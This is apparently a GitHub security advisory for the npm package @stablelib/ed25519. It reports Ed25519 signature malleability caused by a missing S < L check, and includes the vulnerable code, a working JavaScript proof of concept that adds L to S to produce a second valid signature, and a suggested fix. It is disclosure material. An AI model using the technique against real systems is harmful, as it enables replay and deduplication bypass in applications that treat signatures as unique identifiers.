Skip to content

StableLib Ed25519 Signature Malleability via Missing S < L Check

Moderate severity GitHub Reviewed Published Mar 30, 2026 in StableLib/stablelib • Updated Apr 1, 2026

Package

npm @stablelib/ed25519 (npm)

Affected versions

<= 2.0.2

Patched versions

None

Description

Ed25519 Signature Malleability via Missing S < L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347)

Target

  • Repository: StableLib/stablelib (package: @stablelib/ed25519)
  • Version: 2.0.2 (latest, 2026-03-28)

Root Cause

The verify() function in @stablelib/ed25519 does not check that the S component of the signature is less than the group order L. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where S >= L to prevent signature malleability.

When S >= L, [S]B = [(S mod L)]B = [(S - L)]B, meaning two different 32-byte S values produce the same verification result. An attacker who observes a valid signature (R, S) can produce a second valid signature (R, S + L) for the same message.

Vulnerable code

File: packages/ed25519/ed25519.ts (compiled: lib/ed25519.js:779-802)

export function verify(publicKey, message, signature) {
    // ... length check, unpack public key ...
    const hs = new SHA512();
    hs.update(signature.subarray(0, 32));   // R
    hs.update(publicKey);                   // A
    hs.update(message);                     // M
    const h = hs.digest();
    reduce(h);                              // h is reduced mod L
    scalarmult(p, q, h);                    // [h](-A)
    scalarbase(q, signature.subarray(32));  // [S]B -- S NOT checked or reduced
    edadd(p, q);
    pack(t, p);
    if (verify32(signature, t)) {           // compare R
        return false;
    }
    return true;
}

Note that h is properly reduce()d (line 794), but S (signature bytes 32-63) is passed directly to scalarbase() without any range check.

Proof of Concept

const ed = require('@stablelib/ed25519');

const kp = ed.generateKeyPair();
const msg = new TextEncoder().encode("Hello, world!");
const sig = ed.sign(kp.secretKey, msg);

console.log("Original valid:", ed.verify(kp.publicKey, msg, sig)); // true

// Ed25519 group order L
const L = [
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
];

// Add L to S component to create malleable signature
const malSig = new Uint8Array(64);
malSig.set(sig.subarray(0, 32)); // R unchanged
let carry = 0;
for (let i = 0; i < 32; i++) {
  const sum = sig[32 + i] + L[i] + carry;
  malSig[32 + i] = sum & 0xff;
  carry = sum >> 8;
}

console.log("Malleable valid:", ed.verify(kp.publicKey, msg, malSig)); // true
console.log("Sigs differ:", !sig.every((b, i) => b === malSig[i]));    // true

Output:

Original valid: true
Malleable valid: true
Sigs differ: true

Impact

  • Signature malleability: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key
  • Transaction ID collision: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks
  • Deduplication bypass: Systems deduplicating by signature value accept the same message twice with different "signatures"
  • Same vulnerability class as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH

Suggested Fix

Add an S < L check before processing the signature:

// L in little-endian
const L = new Uint8Array([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
]);

function scalarLessThanL(s) {
  for (let i = 31; i >= 0; i--) {
    if (s[i] < L[i]) return true;
    if (s[i] > L[i]) return false;
  }
  return false; // equal to L, reject
}

export function verify(publicKey, message, signature) {
    // ... existing checks ...
    if (!scalarLessThanL(signature.subarray(32))) {
        return false; // S >= L, reject
    }
    // ... rest of verify ...
}

Self-Review

  • Is this by-design? No explicit documentation suggests malleability is intended. The library is described as implementing "Ed25519 public-key signature (EdDSA with Curve25519)" with no caveat about malleability.
  • Is RFC 8032 strict about this? No. RFC 8032 does not require S < L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity.
  • Is this already reported? No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S < L.
  • Honest weaknesses: (1) RFC 8032 does not strictly require S < L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation.

References

@dchest dchest published to StableLib/stablelib Mar 30, 2026
Published to the GitHub Advisory Database Apr 1, 2026
Reviewed Apr 1, 2026
Last updated Apr 1, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

EPSS score

Weaknesses

Improper Verification of Cryptographic Signature

The product does not verify, or incorrectly verifies, the cryptographic signature for data. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-x3ff-w252-2g7j

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.